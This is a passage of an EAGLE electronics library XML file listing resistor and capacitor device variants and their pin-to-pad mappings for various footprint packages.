pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"T93YB\" package=\"RTRIMT93YB\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"R-US_\" prefix=\"R\" uservalue=\"yes\">\n<description>&lt;B&gt;RESISTOR&lt;/B&gt;, American symbol</description>\n<gates>\n<gate name=\"G$1\" symbol=\"R-US\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"R0402\" package=\"R0402\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0603\" package=\"R0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0805\" package=\"R0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0805W\" package=\"R0805W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1005\" package=\"R1005\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1206\" package=\"R1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1206W\" package=\"R1206W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1210\" package=\"R1210\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1210W\" package=\"R1210W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2010\" package=\"R2010\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2010W\" package=\"R2010W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2012\" package=\"R2012\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2012W\" package=\"R2012W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2512\" package=\"R2512\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2512W\" package=\"R2512W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3216\" package=\"R3216\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3216W\" package=\"R3216W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3225\" package=\"R3225\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3225W\" package=\"R3225W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R5025\" package=\"R5025\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R5025W\" package=\"R5025W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R6332\" package=\"R6332\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R6332W\" package=\"R6332W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M0805\" package=\"M0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M1206\" package=\"M1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M1406\" package=\"M1406\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M2012\" package=\"M2012\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M2309\" package=\"M2309\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M3216\" package=\"M3216\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M3516\" package=\"M3516\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M5923\" package=\"M5923\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/5\" package=\"0204/5\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/7\" package=\"0204/7\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/10\" package=\"0207/10\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/12\" package=\"0207/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/15\" package=\"0207/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/2V\" package=\"0207/2V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/5V\" package=\"0207/5V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/7\" package=\"0207/7\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/10\" package=\"0309/10\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/12\" package=\"0309/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/12\" package=\"0411/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/15\" package=\"0411/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/3V\" package=\"0411V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0414/15\" package=\"0414/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0414/5V\" package=\"0414V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/17\" package=\"0617/17\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/22\" package=\"0617/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/5V\" package=\"0617V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0922/22\" package=\"0922/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0613/5V\" package=\"P0613V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0613/15\" package=\"P0613/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0817/22\" package=\"P0817/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0817/7V\" package=\"P0817V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V234/12\" package=\"V234/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V235/17\" package=\"V235/17\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V526-0\" package=\"V526-0\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102AX\" package=\"MINI_MELF-0102AX\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0922V\" package=\"0922V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102R\" package=\"MINI_MELF-0102R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102W\" package=\"MINI_MELF-0102W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0204R\" package=\"MINI_MELF-0204R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0204W\" package=\"MINI_MELF-0204W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0207R\" package=\"MINI_MELF-0207R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0207W\" package=\"MINI_MELF-0207W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"RDH/15\" package=\"RDH/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/2V\" package=\"0204V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/V\" package=\"0309V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"C-EU\" prefix=\"C\" uservalue=\"yes\">\n<description>&lt;B&gt;CAPACITOR&lt;/B&gt;, European symbol</description>\n<gates>\n<gate name=\"G$1\" symbol=\"C-EU\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"C0402\" package=\"C0402\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0504\" package=\"C0504\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0603\" package=\"C0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0805\" package=\"C0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1005\" package=\"C1005\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1206\" package=\"C1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1210\" package=\"C1210\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1310\" package=\"C1310\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1608\" package=\"C1608\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1812\" package=\"C1812\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1825\" package=\"C1825\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C2012\" package=\"C2012\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C3216\" package=\"C3216\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C3225\" package=\"C3225\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C4532\" package=\"C4532\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C4564\" package=\"C4564\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-024X044\" package=\"C025-024X044\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-025X050\" package=\"C025-025X050\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-030X050\" package=\"C025-030X050\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-040X050\" package=\"C025-040X050\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-050X050\" package=\"C025-050X050\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025-060X050\" package=\"C025-060X050\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C025_050-024X070\" package=\"C025_050-024X070\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025_050-025X075\" package=\"C025_050-025X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025_050-035X075\" package=\"C025_050-035X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025_050-045X075\" package=\"C025_050-045X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"025_050-055X075\" package=\"C025_050-055X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-024X044\" package=\"C050-024X044\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-025X075\" package=\"C050-025X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-045X075\" package=\"C050-045X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-030X075\" package=\"C050-030X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-050X075\" package=\"C050-050X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-055X075\" package=\"C050-055X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-075X075\" package=\"C050-075X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050H075X075\" package=\"C050H075X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"075-032X103\" package=\"C075-032X103\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"075-042X103\" package=\"C075-042X103\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"075-052X106\" package=\"C075-052X106\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"102-043X133\" package=\"C102-043X133\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"102-054X133\" package=\"C102-054X133\">\n<connects>\n<connect gate=\"G$1\" 